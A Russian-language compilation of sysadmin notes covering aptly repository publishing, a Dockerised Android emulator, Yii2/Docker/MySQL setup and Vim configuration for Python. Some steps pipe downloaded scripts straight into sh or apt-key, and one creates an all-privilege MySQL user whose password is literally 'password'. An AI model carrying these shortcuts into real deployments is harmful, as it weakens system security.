Удалить снепшот:

# aptly snapshot drop repo-precise-1-main-20150506

Нельзя удалить опубликованный снепшот, сначала надо опубликовать новый снепшот, затем удалить старый при необходимости.

Поместите публичный ключ в public:

# gpg --export --armor > /var/cache/aptly/public/repo.gpg.key


Доступ к репозиторию по протоколу HTTP


Для того, что наш репозиторий был доступен из браузера по http нужно установить и настроить вебсервер Apache.

# apt-get install apache2

Теперь нужно настроить вебсеревер так, что бы опубликовать директорию с нашим репозиторием '/var/cache/aptly/public' с опцией autoindexing.

Для этого создайте файл /etc/apache2/sites-available/aptly.conf следующего содержания:



Файлы логов должны быть созданы заранее и доступны для записи пользователю, от имени которго запускается Apache. В ubuntu это www-data:

# touch /var/log/apache2/aptly-error.log
# touch /var/log/apache2/aptly-access.log

Находясь в директории /etc/apache2/sites-available/ выполните:

# a2ensite aptly.conf

эта команда создаст алиас для файла конфигурации в /etc/apache2/sites-enabled/.

Перезапустите Apache:

# service apache2 reload

Теперь репозиторий будет доступен из браузера по адресу: http://your-server
Не забудьте проверить настройки файрвола.

Настройки на стороне клиента


Что бы подключить к нашему репозиторию новую машину и устанавливать из него пакеты добавьте в /etc/apt/sources.list прямым редактированием файла строку:

deb http://your-server/ precise-1 main
или выполнив команду:

# add-apt-repository 'deb http://your-server/ precise-1 main'
И импортируйте ключ репозитория:

# wget -O - http://repo.domain.ru/repo.gpg.key | sudo apt-key add -
или добавить ключ локально:

# apt-key add repo.gpg.key


Прочие дополнения


Для удобства пользователей можно разместить напоминание в виде html странички о том, как установить GPG ключ. Для этого в корне директории /var/cache/aptly/public/создайте файл readme.html:

sudo nano /var/cache/aptly/public/readme.html



В добавок ко всему Aptly обладает такой замечательной возможностью, как графическое отображение структуры репозитория в виде изображения в формате .png


Формирование картинки:

# aptly graph
Созданный .png файл скопируйте к себе на рабочий стол, например с помощью WinSCP.

Вот, что может получиться:



Troubleshooting


Ошибка при смене снэпшота:

# aptly publish switch trusty repo-trusty-1-main-20150904-01
Loading packages...
Generating metadata files and linking package files...
ERROR: unable to publish: unable to process packages: error linking file to /var/cache/aptly/public/pool/main/a/activiti/activiti.deb: file already exists and is different

Это происходит, когда версия файла в исходном репозитории сменилась, а сам файл остался тот же. В этом случае удалить файл по указанному пути и переопубликовать снепшот:

# aptly publish switch trusty repo-trusty-1-main-20150904-01

Публикации по теме:
Об Aptly: http://habrahabr.ru/post/225825/
Генерация gpg ключа: https://debian.pro/1424

Aptly – свой репозиторий с контролем версий
Настройка и управление репозиторием Debian с помощью Aptly
локальный репозиторий debian или ubuntu

Для тестирования хороших и не очень инструментов под Android, :) необходима реальная платформа в виде настоящего телефона/планшета или же виртуальный эмулятор ее. В этом посте, я подготовил небольшую инструкцию, как поднять эмулятор Android у себя на компьютере с помощью Docker, быстро и бесплатно. Которая может кому-либо пригодится.



1. Обновляем систему.
apt update && apt upgrade -y

2. Устанавливаем Docker.


Следом docker-compose.


Включаем сервис.
systemctl enable docker && systemctl start docker

Перезагружаемся.
reboot

3. Подготовим docker-compose.
mkdir ~/docker && nano ~/docker/docker-compose.yml



4. Запускаем образ.
cd ~/docker && docker-compose up -d

После того как наш образ загрузится, открываем браузер (Chrome, Firefox), и переходим по адресу: http://IP:6080
и получаем наш Nexus 5, с Android 7.1.1.

5. Остановить приложение.
cd ~/docker && docker-compose down

Несколько замечаний:

1. Тестировалось на Kali 2017.3 64, с небольшими изменениями можно запустить на Ubuntu/Debian, на Windows необходимо установить
docker и docker-compose своим способом.

2. Оперативной памяти на VM/Хосте должно быть выделено не менее 2GB для успешного запуска эмулятора.

3. Если вы выполняете эти действия на виртуальной машине, как и я, необходимо включить "Nested Virtualization" в настройках вашего гипервизора.
Здесь инструкции как это сделать для vmware. Но нужно учесть что, из-за вложенной виртуализации CPU, заметно пострадает производительность,
в эмуляторе.

Официальный репозиторий проекта.

На Ubuntu/Debian изменения только в установке самого Docker, делается одной командой:

curl -sSL https://get.docker.com/ | CHANNEL=stable sh

https://codeby.net/threads/ustanavlivaem-ehmuljator-android-7-1-pod-kali-linux.61809/
https://medium.com/@AndreSand/android-emulator-on-docker-container-f20c49b129ef
j2me в ubuntu
https://code.google.com/archive/p/microemu/downloads

запуск waydroid в ubuntu


ознакомиться

docker search centos
docker pull centos
docker run -it centos bash
docker commit №_контейнера название_образа # сделать нужный образ
docker rm $(docker ps -a -q -f status=exited) # удалить лишние контейнеры (все)

docker команды

https://www.yiiframework.com/doc/guide/2.0/en/tutorial-docker
docker-compose -v
docker -v
docker-compose up -d
docker-compose ps
docker-compose logs -f
docker-compose stop
docker-compose kill
docker-compose down -v
docker-compose run --rm php composer install
docker-compose exec php bash

docker-compose -f docker-compose.yml -f docker-compose.prod.yml up -d
Определение многоконтейнерного приложения с помощью docker-compose.yml

Программирование с YII2: приступаем к работе

https://github.com/yiisoft/yii2/tree/master/docs/guide-ru
https://webformyself.com/yii2-advanced-ustanovka/
https://www.yiiframework.com/doc/guide/2.0/ru/start-installation
https://www.yiiframework.com/doc/guide/2.0/ru/tutorial-start-from-scratch


http://onreader.mdl.ru/LearningDockerNetworking/content/Ch02.html
Docker: как развернуть фуллстек-приложение и не поседеть

установка php

установка compozer
yum install install curl php-cli php-mbstring git zip unzip
curl -sS https://getcomposer.org/installer -o composer-setup.php
или
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php
sudo php composer-setup.php --install-dir=/usr/local/bin --filename=composer
или
mv composer.phar /usr/local/bin/composer

composer show --platform | grep ext-xsl
sudo yum install php-xsl

подключение к БД
https://yiiframework.com.ua/ru/doc/guide/2/db-dao/

  • MySQL, MariaDB: mysql:host=localhost;dbname=mydatabase

  • SQLite: sqlite:/path/to/database/file

  • PostgreSQL: pgsql:host=localhost;port=5432;dbname=mydatabase

  • CUBRID: cubrid:dbname=demodb;host=localhost;port=33000

  • MS SQL Server (via sqlsrv driver): sqlsrv:Server=localhost;Database=mydatabase

  • MS SQL Server (via dblib driver): dblib:host=localhost;dbname=mydatabase

  • MS SQL Server (via mssql driver): mssql:host=localhost;dbname=mydatabase

  • Oracle: oci:dbname=//localhost:1521/mydatabase



ошибки при установке yii2-app-advanced
Exception 'yii\db\Exception' with message 'could not find driver'
sudo yum install php-gd php-mysql

Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [2002] No such file or directory'
nano $HOME/yii-application/common/config/main-local.php
'dsn' => 'mysql:host=127.0.0.1:3306;dbname=yii2advanced

sudo mysql_secure_installation
Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1698] Access denied for user 'root'@'localhost''

http://qaru.site/questions/161543/error-1698-28000-access-denied-for-user-rootlocalhost
https://www.digitalocean.com/community/tutorials/mysql-ubuntu-18-04-ru

$ sudo mysql
SELECT user,authentication_string,plugin,host FROM mysql.user;

$ mysql -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'

надо создать нового пользователя с полными правами.
$ sudo mysql -uroot

CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON * . * TO 'newuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;

$ mysql -unewuser -ppassword
Для работы с базой использовать нового пользователя newuser вместо root.

nano $HOME/yii-application/common/config/main-local.php
изменить на:
'dsn' => 'mysql:host=127.0.0.1;port=3306;dbname=yii2advanced',
'username' => 'newuser',
'password' => 'password',

Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1049] Unknown database 'yii2advanced''
mysql> CREATE DATABASE yii2advanced;
mysql> EXIT;

php yii serve --port=8888
Document root "/home/user/yii-application/console/web" does not exist.

В консоли надо указать путь к document root проекта.
php yii serve --docroot="path/to/docroot"
Например:
php yii serve --docroot="@frontend/web" --port=8080
php yii serve --docroot="@backend/web" --port=8888
php yii serve --docroot="@console" --port=8000
или
php -S 127.0.0.1:8080 -t frontend/web
php -S 127.0.0.1:8888 -t backend/web

http://127.0.0.1:8080/index.php?r=gii

Сервис на Yii2: Тестирование приложения с Codeception
проверка (запуск в каталоге)
vendor/bin/codecept run acceptance -- -c frontend
vendor/bin/codecept run acceptance -- -c backend

Codeception requires CURL extension installed to make tests run
If you are not sure, how to install CURL, please refer to StackOverflow
yum install php-curl



https://www.tutorialspoint.com/sqlite/sqlite_create_database.htm
http://www.w3big.com/ru/sqlite/sqlite-syntax.html
Стартуем с SQLite3 – Основные команды
nano $HOME/yii-application/common/config/main-local.php
изменить на:
'dsn' => 'sqlite:/home/user1/yii-application/DB/yii2advanced.db',

$ mkdir -p $HOME/yii-application/DB/
$ sqlite3 $HOME/yii-application/DB/yii2advanced.db
.quit

Команда Описание
.show Показывает текущие настройки заданных параметров
.databases Показывает название баз данных и файлов
.quit Выход из sqlite3
.tables Показывает текущие таблицы
.schema Отражает структуру таблицы
.header Отобразить или скрыть шапку таблицы
.mode Выбор режима отображения данных таблицы
.dump Сделать копию базы данных в текстовом формате




composer --version
composer self-update
composer global require "fxp/composer-asset-plugin:~1.4.5"
composer create-project --prefer-dist yiisoft/yii2-app-basic basic
или
composer create-project --prefer-dist --stability=dev yiisoft/yii2-app-basic basic
или
php composer.phar create-project yiisoft/yii2-app-advanced advanced

Установка из архивного файла
https://www.yiiframework.com/download

// !!! insert a secret key in the following (if it is empty) - this is required by cookie validation
'cookieValidationKey' => 'enter your secret key here',

обновление
php composer.phar update yiisoft/yii2 yiisoft/yii2-composer bower-asset/jquery.inputmask

Проверка установки, запуск yii2
php yii serve 0.0.0.0:8080 (универсально)
php yii serve ip_адрес:8080 (правильно)

проверка проброса портов
php -S 0.0.0.0:8080

Чтобы открыть несколько портов, просто укажите несколько аргументов -p:
docker run -p host_port1:container_port1 -p host_port2:container_port2
docker run -it -p 7100-7120:7100-7120/tcp

проверка блокировки по портам
php -S 0.0.0.0:8080 (или внутренний ip контейнера напр 172.17.0.2:0.0.0.0)
localhost:0.0.0.0 работать не будет, как и 127.0.0.1:8080

напр docker run -d -p 127.0.0.2:8080:8080 uzverss/centos_yii
php -S 127.0.0.2:8080 сработает


docker run -d -p 127.0.0.2:8080:8080 uzverss/centos_yii


php yii serve (по умолч localhost порт 80)
php yii serve --port=8080 (поднимется по умолчанию на localhoct, т.е. при --net=host )
php yii serve 0.0.0.0:8080 (универсально)
php yii serve ip_adres_контейнера:8080 (правильно)

узнать ip адрес (если нет ip a)
yum install net-tools
ifconfig

docker run --name centos -it centos bash
docker run -d -p 80:8080 uzverss/centos_yii
если что то блокирует проброс то
docker run --net=host -it centos1_yii2 bash

примеры

пример: подключить каталог с yii2 с хоста в контейнер
docker run -v /home/user/basic:/home/user/basic -p 127.0.0.2:8080:8080 -it centos-php bash
пример: подключить каталог с yii2 с контейнера на хост (каталога basic1 на хосте нет, создаётся с правами root)
docker run -v /home/user/basic1:/home/user/basic -p 127.0.0.2:8080:8080 -it centos-php bash
chown user:user /home/user/basic

монтировать каталоги хоста внутрь контейнера
docker run -v /каталог_на_компе:/каталог_в контейнере -v /каталог_на_компе:/каталог_в контейнере образ_докера

создание пользователей
adduser username
passwd username
gpasswd -a username wheel
userdel username
userdel -r username удалит пользователя с каталогом
sudo lid -g wheel


пример настроенного контейнера:
docker pull schmunk42/yii2-app-basic
docker run -p 8888:80 schmunk42/yii2-app-basic

https://github.com/yiisoft/yii2-app-basic
docker pull yiisoftware/yii2-php:7.3-fpm

docker run --name php-yii2 --rm -it dmstr/php-yii2 -p 8080:8080 yii

https://hub.docker.com/r/yiisoftware/yii2-php/
https://github.com/dmstr/docker-yii2-app

Как сделать админку для yii2 basic?
https://www.yiiframework.com/search?type=extension&q=admin
https://github.com/yii2tech/admin
https://www.yiiframework.com/extension/yii2-template-smarty
https://www.yiiframework.com/extension/qtzpanel
https://www.yiiframework.com/extension/yii2-admin
https://elisdn.ru/blog/76/seo-service-on-yii2-admin-and-sef
https://github.com/ElisDN/seokeys

https://www.yiiframework.com/extension/phpnt/yii2-cms
https://www.yiiframework.com/extension/execut/yii2-cms

https://github.com/yii2tech
https://github.com/codemix
https://github.com/creocoder

https://www.adminer.org/
https://phpdocker.io/generator
https://nginxconfig.io
https://github.com/digitalocean/nginxconfig.io

https://www.yiiframework.com/doc/guide/2.0/ru/start-installation
https://www.yiiframework.com/wiki/783/running-applications-with-docker

https://phptoday.ru/post/gotovim-lokalnuyu-sredu-docker-dlya-razrabotki-na-php
https://blog.rvalitov.ru/programming/yii2/yii2-base-docker/
http://noob.poex.me/2018/06/22/docker-network/

Полное руководство по Yii 2.0
https://nix-tips.ru/yii2-api-guides/guide-ru-README.html
https://github.com/yiisoft/yii2/tree/master/docs/guide-ru

установка dokuwiki centos php nginx
Расшариваем веб-сайт на localhost в глобальную сеть интернет.


Vim — уникальный по своей гибкости редактор, который при должной настройке может едва ли не идеально удовлетворять все пожелания работающего с ним. Правда эта настройка может продолжаться месяцы, а то и годы, что является и достоинством, и недостатком vim’а. Существует множество статей и туториалов по использованию Vim для разработки на Python и Django, надеюсь мне удастся рассказать что-то новое. В своей статье я постараюсь по минимуму упоминать плагины общего назначения, вроде NERDTree или surround.vim и опишу несколько более специализированных расширений и настроек, которые существенно упростили процесс работы на Python.



Настроить Vim под Django оказалось делом довольно непростым, в отличие от использования с тем же Rails, для которого rails.vim решает 80% всех проблем. Но к сожалению Tim Pope ничего подобного для питона не написал, поэтому пришлось собирать все по частям. Вкратце, о чем пойдет речь:


  • python-mode

  • tagbar

  • pydiction

  • neocomplcache

Все ниженаписанное было опробовано в gVim для Linux.



Python-mode


Просто низкий поклон Кириллу Клёнову, разработчику данного расширения. Отлично устанавливается и с помощью vundle, и через pathogen и так же отлично работает.



Python-mode устанавливает свои настройки для питон-файлов. Если вас это не устраивает (мне например не нужен set number, который он добавляет), допишите необходимые настройки в .vimrc. Вот пример моих настроек:



let g:pymode_options = 0
let g:pymode_lint_write = 0 “не проверять при каждом сохранении
let g:pymode_folding = 0 “мне не нужен авто-фолдинг
let g:pymode_rope_vim_completion = 0 “не использовать автодополнение rope


Как можно увидеть, я не использую автоматический фолдинг кода, также мне не нужна проверка pylint'ом при каждом сохранении файла(let g:pymode_lint_write = 0), вместо чего можно использовать команду :PyLint, повесив на нее какой-нибудь хоткей. К автодополнению вернемся позже.



Плагин предоставляет несколько удобных хоткеев для перемещения по объектам в питон-коде:

Сочетание клавиш Команда
K Показать документацию
<C-c>g Перейти к определению
\r Запустить код
[[ Перейти к предыдущему классу или функции
]] Перейти к следующему классу или функции
aC C Выполнить действие для класса. (vaC, daC, dC, yaC, yC, caC, cC)
iC То же, находясь внутри класса. (viC, diC, yiC, ciC)
aM M Выполнить действие для функции. (vaM, daM, dM, yaM, yM, caM, cM)
iM То же, находясь внутри функции. (viM, diM, yiM, ciM)
Отдельно хотелось бы отметить возможность использовать Rope, в частности команды :RopeGoToDefinition, :RopeFindOccurrences и другие возможности по поиску кода и рефакторингу. просмотреть полный список команд Rope и сокращения к ним можно с помощью :help RopeKeys. Кроме того по умолчанию включена поддержка virtualenv, что значит, что с помощью того же :RopeGoToDefinition вы можете спокойно перейти к определнию функции любой библиотеки, установленной в site-packages вашего virtualenv’а.



Просмотр кода


Хотя самым популярным плагином для этого является Taglist, мне больше нравится Tagbar, также основанный на ctags(которые нужно установить перед использованием плагина). Вешаем :TagbarToggle на какой-нибудь хоткей, например:
nnoremap <F8> :TagbarToggle<CR>
Выглядит это примерно так:







Пара дополнительных настроек:



let g:tagbar_autofocus = 1
let g:tagbar_sort = 0 "tagbar shows tags in order of they created in file
let g:tagbar_foldlevel = 0 "close tagbar folds by default


Кроме того можно настроить, с какой стороны будет появляться окно тагбара, какими будут отступы, иконки и т.д. Обо всем этом можно узнать через :help tagbar.



Автодополнение


Один из плагинов, который я мог бы посоветовать — Pydiction, дополняющий ключевые слова на основе большого файла словаря. У данного плагина очень много плюсов:


  • автодополнение происходит по клавише Tab, не нужно запоминать всякие комбинации с Ctrl

  • абсолютно никаких конфликтов, можно одновременно использовать Pydiction с omnicomplete

  • автодополнение не затрагивает другие типы файлов

  • умеет дополнять импортированные объекты

  • довольно легко можно добавить в словарь собственные модули: python pydiction.py module_name

Минус по большому счету только один, но очень существенный на мой взгляд — Pydiction не подхватывает ключевые слова из текущего файла, а это часто бывает гораздо нужнее, чем функции Питона, которые и так знаешь.



Другой способ — использовать neocomplcache. Кроме установки плагина, нужно задать omnifunc для питоновских файлов:

autocmd FileType python setlocal omnifunc=pythoncomplete#Complete


Neocomplcache несколько хуже справляется с дополнением из модулей, зато дополняет не только ключевые слова из текущих файлов, но и просто строки. Кроме того присутствует опция автоматически всплывающего дополнения, которое включается с помощью задания настройки:

let g:neocomplcache_enable_at_startup = 1


Шаблоны Django


Vim подерживает синтаксис джанго-шаблонов и подсвечивает их, если задать файлу тип htmldjango. К сожалению автоматически при открытии Vim определяет этот тип только если в начале файла находится джанго-тэг. Решить это можно например с помощью такой функции:



fun! DetectTemplate()
  let n = 1
  while n < line("$")
    if getline(n) =~ '{%' || getline(n) =~ '{{'
      set ft=htmldjango
      return
    endif
    let n = n + 1
  endwhile
  set ft=html "default html
endfun


которую нужно запускать при открытии файла с раширением .html:

autocmd BufNewFile,BufRead *.html call DetectTemplate()


Если вы используете несколько шаблонизаторов, функцию несложно модифицировать под них, правда следует сделать условия определения типа шаблонизатора более строгими.



Случайные настройки




  • Питоновские отступы:
    autocmd FileType python setlocal ts=4 sts=4 sw=4
    



  • Если вы пользуетесь NERDTree, стоит добавить .pyc в список игнорируемых файлов:
    let NERDTreeIgnore=['\.pyc$']
    



  • простое сокращение для вставки дебаггера ipdb в код
    iab ipdb import ipdb; ipdb.set_trace()
    



  • сокращение для задания кодировки в начале файла:
    iab utf! # -*- coding: utf-8 -*-
    



  • убрать раздражающие всплывающие окна с документацией для omnicompletion:
    set completeopt-=preview
    



  • пара цветовых схем:darkspectrum, gruvbox, Lucius



Дополнительные ссылки


1. python-mode

github.com/klen/python-mode

2. Tagbar

github.com/majutsushi/tagbar

3. Pydiction

github.com/rkulla/pydiction

4. Neocomplcache

github.com/Shougo/neocomplcache

https://habrahabr.ru/post/173473/


image

Данная статья будет посвящена настройке vim, в которой я поделюсь своим «скромным» пониманием того, каким должен быть текстовый редактор, чтобы в нем было удобно/приятно/легко (нужное подчеркнуть) писать код также, как это сейчас возможно во всевозможных IDE типа PyCharm, SublimeText и т.п.

Весь процесс постараюсь описать как можно более подробно, чтобы вопросов по мере чтения для начинающих осваивать vim возникало как можно меньше.



Предыстория
Сам я знаком с vim не очень продолжительное время, однако, к его изучению и желанию использовать привело:


  • достаточное количество на хабре статей по vim

  • большое количество существующих плагинов

  • преимущественно, разработчики на Python занимаются написанием кода под Linux (хотя vim — кроссплатформенный)

  • собственное любопытство



В настоящее время я использую весьма часто vim как основной инструмент для разработки на Python и нисколько об этом не жалею. Если чего-либо нехватает, то проблема решается гуглением в течении пару минут. Поверьте, vim действительно стоит тех затраченных сил на его изучения. Это достаточно быстро себя «окупает». Было бы только желание и немножечко терпения.



Подготовительный этап
Итак. Перейдем непосредственно к подготовительному этапу. Нам понадобится:


  1. Vim версии 7.4 (получить нужное можно либо скачиванием из репозиториев, либо сборкой вручную)

  2. Python 2.7 (с установленным pip)

  3. Клиент для работы с git



После того, как вышеперечисленное у нас имеется, можно приступать непосредственно к настройке и «кастомизации».



Настройка


Самое первой проблемой для любого новичка, который решает обуздать vim, является vimscript. Vimscript — это скриптовый язык, предназначенный для vim. На нем мы будем описывать используемые плагины, горячие клавиши и все тому подобное, чтобы обеспечить себе простую и легкую работу в vim. Для ознакомления советую посетить вот этот и этот сайты. Там достаточно неплохо все описано, что, где, как, и почему.



Первым делом стоит рассказать о том, что конфигурационный файл vim находится в домашнем каталоге пользователя (~/) и называется .vimrc. В нем-то и будут расписываться моменты относительно того, какие шрифты, цветовая схема, хоткеи и т.п. будут использоваться.



Во-вторых, при настойке текстового редактора, иногда будет необходимо заходить в каталог .vim (это скрытый каталог, и он расположен также в домашнем каталоге юзера), в который будут помещен ряд необходимых файлов, рассортированных по каталогам.

Какие включает в себя подкаталоги исходный каталог .vim? Примерно такие:

.vim

|____after

|____autoload

|____colors

|____doc

|____ftplugin

|____indent

|____plugin

|____scripts

|____syntax



Однако, из всех вышеперечисленных каталогов нам понадобится лишь несколько:


  • colors — для цветовых схем/тем

  • indent — сюда будет скидывать файлы для работы с тегами HTML/XML и т.п.

  • scripts — для скриптов

  • syntax — файлы синтаксиса



В эти каталоги помещаем соответствующие файлы, взяв их, например, у меня.



До начала установки и работа с менеджером пакетов пропишем в консоли:

pip install pyflakes pep8 pylint ipython


В дальнейшем, эти библиотеки нам пригодятся для того, чтобы отслеживать качество своего кода: ошибки, соответствие его PEP8 и т.п. Последняя же в этом списке библиотека/пакет — ipython нам будет удобна для настройки своего «дебаггера».

Также нам еще необходимо установить Exuberant ctags. Скачать его можно отсюда либо поискать и установить через менеджер пакетов apt-get/aptitude/rmp/pacman/и т.п.



Менеджер плагинов


Для того, чтобы нам было проще с установкой и использованием плагином будем использовать Vundle. Vundle — это пакетный менеджер для Vim, способный:


  • настраивать и устанавливать плагины, указанные в. vimrc

  • обновлять плагины при необходимости

  • удалять неиспользуемые плагины



Однако прежде чем приступать к описанию необходимого набора плагинов в конфигурационном файле, сначала необходимо установить сам Vundle. Для этого делаем следующее:



git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim


После выполнение этой команды Vundle будет установлен в ~/.vim/bundle/Vundle.vim



Теперь добавим следующую часть в свой новосозданный .vimrc если его еще нет:



set nocompatible              " be iMproved, required
filetype off                  " required

"=====================================================
" Vundle settings
"=====================================================
" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

Plugin 'gmarik/Vundle.vim'		" let Vundle manage Vundle, required

"---------=== Code/project navigation ===-------------
Plugin 'scrooloose/nerdtree' 	    	" Project and file navigation
Plugin 'majutsushi/tagbar'          	" Class/module browser

"------------------=== Other ===----------------------
Plugin 'bling/vim-airline'   	    	" Lean & mean status/tabline for vim
Plugin 'fisadev/FixedTaskList.vim'  	" Pending tasks list
Plugin 'rosenfeld/conque-term'      	" Consoles as buffers
Plugin 'tpope/vim-surround'	   	" Parentheses, brackets, quotes, XML tags, and more

"--------------=== Snippets support ===---------------
Plugin 'garbas/vim-snipmate'		" Snippets manager
Plugin 'MarcWeber/vim-addon-mw-utils'	" dependencies #1
Plugin 'tomtom/tlib_vim'		" dependencies #2
Plugin 'honza/vim-snippets'		" snippets repo

"---------------=== Languages support ===-------------
" --- Python ---
Plugin 'klen/python-mode'	        " Python mode (docs, refactor, lints, highlighting, run and ipdb and more)
Plugin 'davidhalter/jedi-vim' 		" Jedi-vim autocomplete plugin
Plugin 'mitsuhiko/vim-jinja'		" Jinja support for vim
Plugin 'mitsuhiko/vim-python-combined'  " Combined Python 2/3 for Vim

call vundle#end()            		" required
filetype on
filetype plugin on
filetype plugin indent on


Как вы видите, места где указаны Plugin 'ссылка_до_плагина' представляет собой ссылки в интернете эти плагины, которые Vundle будет скачивать и в последствии устанавливать. Для себя, я разбивал эти плагины на «категории», но это уже дело вкуса. Сами плагины:


  • NERDTree — навигация по файловой/директориям

  • TagBar — навигация по классам/функциям/переменным

  • vim-airline — строка статуса/состояния

  • FixedTaskList — поиск в файле FIXME, TODO и т.п.

  • conque-term — используем для вызова дебаггера

  • vim-surround — автозакрытие тегов HML/XML/и т.п.

  • vim-snipmate — сниппеты

  • python-mode — рефакторинг, документация, дебаггер Python и т.п.

  • jedi-vim — автодополнение для Python

  • vim-jinja — поддержка синтаксиса шаблонов Jinja



В качестве руководства/гайда по использованию Vundle можно зайти сюда. Однако для наших целей будет предостаточно одной:

:PluginInstall


Эта команда сканирует файл .vimrc на наличие списка плагинов прописанных в виде Plugin 'ссылка_до_плагина'.

Для того, чтобы запустить установку набора плагинов, заходим в vim/gvim и прописываем :PluginInstall. Придется немного подождать, поскольку каждый плагин, указанный выше в конфиге, будет скачан с githuba либо еще откуда-то и настроен до установок «по умолчанию», подождите пару минут. Каждый выкачанный и настроенный плагин отмечается как "+". Как только увидите, что все из списка подсвечены "+" — значит, все готово. И для дальнейшего использования необходимо будет перезапустить vim. Однако на этом все еще не оканчивается статья — все необходимо «подкрутить», чтобы работать в vim'е было комфортно.



Общие настройки vim'а
Эти настройки для меня являются базовыми. Тут я указываю свои предпочтения относительно парочки плагинов, размера шрифтов, цветовой схемы, отображаемых элементов и т.п.

Добавьте эти строчки в конец своего .vimrc файла:

"=====================================================
" General settings
"=====================================================
set backspace=indent,eol,start
aunmenu Help.
aunmenu Window.
let no_buffers_menu=1
set mousemodel=popup

set ruler
set completeopt-=preview
set gcr=a:blinkon0
if has("gui_running")
  set cursorline
endif
set ttyfast

" включить подсветку кода
syntax on
if has("gui_running")
" GUI? устаналиваем тему и размер окна
  set lines=50 columns=125
  colorscheme molokai
" раскомментируйте эти строки, если хотите, чтобы NERDTree/TagBar автоматически отображались при запуске vim
" autocmd vimenter * TagbarToggle
" autocmd vimenter * NERDTree
" autocmd vimenter * if !argc() | NERDTree | endif

" на маке vim?
if has("mac")
  set guifont=Consolas:h13
  set fuoptions=maxvert,maxhorz
else
" дефолтный GUI
  set guifont=Ubuntu\ Mono\ derivative\ Powerline\ 10
endif
else
" терминал?
  colorscheme myterm
endif

tab sball
set switchbuf=useopen

" отключаем пищалку и мигание
set visualbell t_vb= 
set novisualbell       

set enc=utf-8	     " utf-8 по дефолту в файлах
set ls=2             " всегда показываем статусбар
set incsearch	     " инкреминтируемый поиск
set hlsearch	     " подсветка результатов поиска
set nu	             " показывать номера строк
set scrolloff=5	     " 5 строк при скролле за раз

" отключаем бэкапы и своп-файлы
set nobackup 	     " no backup files
set nowritebackup    " only in case you don't want a backup file while editing
set noswapfile 	     " no swap files

" прячем панельки
"set guioptions-=m   " меню
set guioptions-=T    " тулбар
"set guioptions-=r   "  скроллбары

" настройка на Tab
set smarttab
set tabstop=8

"  при переходе за границу в 80 символов в Ruby/Python/js/C/C++ подсвечиваем на темном фоне текст
augroup vimrc_autocmds
    autocmd!
    autocmd FileType ruby,python,javascript,c,cpp highlight Excess ctermbg=DarkGrey guibg=Black
    autocmd FileType ruby,python,javascript,c,cpp match Excess /\%80v.*/
    autocmd FileType ruby,python,javascript,c,cpp set nowrap
augroup END

" указываем каталог с настройками SnipMate
let g:snippets_dir = "~/.vim/vim-snippets/snippets"

" настройки Vim-Airline
set laststatus=2
let g:airline_theme='badwolf'
let g:airline_powerline_fonts = 1
let g:airline#extensions#tabline#enabled = 1
let g:airline#extensions#tabline#formatter = 'unique_tail'

" TagBar настройки
map <F4> :TagbarToggle<CR>
let g:tagbar_autofocus = 0 " автофокус на Tagbar при открытии

" NerdTree настройки
" показать NERDTree на F3
map <F3> :NERDTreeToggle<CR>
"игноррируемые файлы с расширениями
let NERDTreeIgnore=['\~$', '\.pyc$', '\.pyo$', '\.class$', 'pip-log\.txt$', '\.o$']  

" TaskList настройки
map <F2> :TaskList<CR> 	   " отобразить список тасков на F2

" Работа буфферами
map <C-q> :bd<CR> 	   " CTRL+Q - закрыть текущий буффер


Python-mode
Очень нравится этот плагинчик, который кстати, сделан klen. Предоставляет море возможностей при работе с кодом:


  • рефакторинг

  • автодополнение

  • работа с дебаггером

  • автофикс PEP8 ошибок

  • и многое-многое другое...



Добавьте эти строчки в конец своего .vimrc файла:

"=====================================================
" Python-mode settings
"=====================================================
" отключаем автокомплит по коду (у нас вместо него используется jedi-vim)
let g:pymode_rope = 0
let g:pymode_rope_completion = 0
let g:pymode_rope_complete_on_dot = 0

" документация
let g:pymode_doc = 0
let g:pymode_doc_key = 'K'
" проверка кода
let g:pymode_lint = 1
let g:pymode_lint_checker = "pyflakes,pep8"
let g:pymode_lint_ignore="E501,W601,C0110"
" провека кода после сохранения
let g:pymode_lint_write = 1

" поддержка virtualenv
let g:pymode_virtualenv = 1

" установка breakpoints
let g:pymode_breakpoint = 1
let g:pymode_breakpoint_key = '<leader>b'

" подстветка синтаксиса
let g:pymode_syntax = 1
let g:pymode_syntax_all = 1
let g:pymode_syntax_indent_errors = g:pymode_syntax_all
let g:pymode_syntax_space_errors = g:pymode_syntax_all

" отключить autofold по коду
let g:pymode_folding = 0

" возможность запускать код
let g:pymode_run = 0


Jedi-vim
Очень полезный плагин, предоставляющий отличные возможности автокомплита, go to definition, и т.п.

В своем конфиге добавьте в конец этот фрагмент:

" Disable choose first function/method at autocomplete
let g:jedi#popup_select_first = 0


Этой строчкой я отрубаю в автокомплите выбор первой строки из списка выбора метода/библиотеки/класса автокомплита. Это связано с тем, что достаточно часто я выбираю не первую строку из нее, а автоматический выбор раздражает.



После настройки jedi-vim получаем отображение документации по функции

image

и добротный автокомплит по аргументам функций

image



Хоткеи
Тут сложно что-либо посоветовать. У всех различное понимание того, какие хоткеи нужны, а какие-нет. Могу лишь сказать, что для желающих, найти/написать необходимые кусочки vimscript, переопределяющих поведение стандартных горячих клавиш — очень много.

Добавьте этот фрагмент в конец конфига:

"=====================================================
" User hotkeys
"=====================================================
" ConqueTerm
" запуск интерпретатора на F5
nnoremap <F5> :ConqueTermSplit ipython<CR>
" а debug-mode на <F6>
nnoremap <F6> :exe "ConqueTermSplit ipython " . expand("%")<CR>
let g:ConqueTerm_StartMessages = 0
let g:ConqueTerm_CloseOnEnd = 0
" проверка кода в соответствии с PEP8 через <leader>8
autocmd FileType python map <buffer> <leader>8 :PymodeLint<CR>

" автокомплит через <Ctrl+Space>
inoremap <C-space> <C-x><C-o>

" переключение между синтаксисами
nnoremap <leader>Th :set ft=htmljinja<CR>
nnoremap <leader>Tp :set ft=python<CR>
nnoremap <leader>Tj :set ft=javascript<CR>
nnoremap <leader>Tc :set ft=css<CR>
